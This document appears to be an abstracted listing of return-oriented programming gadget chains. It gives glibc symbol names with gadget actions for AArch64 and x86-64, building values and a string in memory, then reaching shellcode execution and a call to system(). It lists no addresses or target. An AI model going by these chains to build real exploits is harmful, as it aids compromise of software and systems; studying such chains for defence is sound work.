__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 
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__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__libc_current_sigrtmax MOV X0, 0x40 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 
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__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 
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__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmax MOV X0, 0x40 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 
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pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmax MOV X0, 0x40 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__libc_malloc MALLOC 

xdrrec_endofrecord… ARB CALL 

shellcode SHELLCODE 

_exit SAFE EXIT 
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_nss_files_endpwent MOV RDI, 0x6 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

_dl_tunable_set_... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set_... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endpwent MOV RDI, 0x6 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set_... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set_... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endpwent MOV RDI, 0x6 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 
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__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set_... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endhostent MOV RDI, 0x3 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set_... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endprotoent MOV RDI, 0x5 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set_... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

__default_pthread_attr... MOV RDI, LIBC 

system SYSTEM 
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_nss_files_endservent MOV RDI, 0x8 

__gconv_release_shlib MOV RDX, RDI 

_nss_files_endservent MOV RDI, 0x8 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endgrent MOV RDI, 0x2 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endgrent MOV RDI, 0x2 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endgrent MOV RDI, 0x2 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

posix_spawn_file_... MOV [RDI], 0 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endsgent MOV RDI, 0x9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 
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__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endsgent MOV RDI, 0x9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endethernet MOV RDI, 0x1 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endethernet MOV RDI, 0x1 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 
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__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

endttyent MOV RDI, 0x0 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

__libc_sa_len SUB RDI, 0x1 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endprotoent MOV RDI, 0x5 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endethernet MOV RDI, 0x1 

__cache_sysconf SUB RDI, 0xB9 

_dl_mcount_wrapper... MOV RSI, RDI 

__default_pthread_attr... MOV RDI, LIBC 

__hash_string SET RDI TO END 

OF STRING 

_dl_tunable_set... MOV RDX, 0x1 

__memset_sse2... MOV [RDI], SIL 

_nss_files_endnetent MOV RDI, 0x4 

__cache_sysconf SUB RDI, 0xB9 

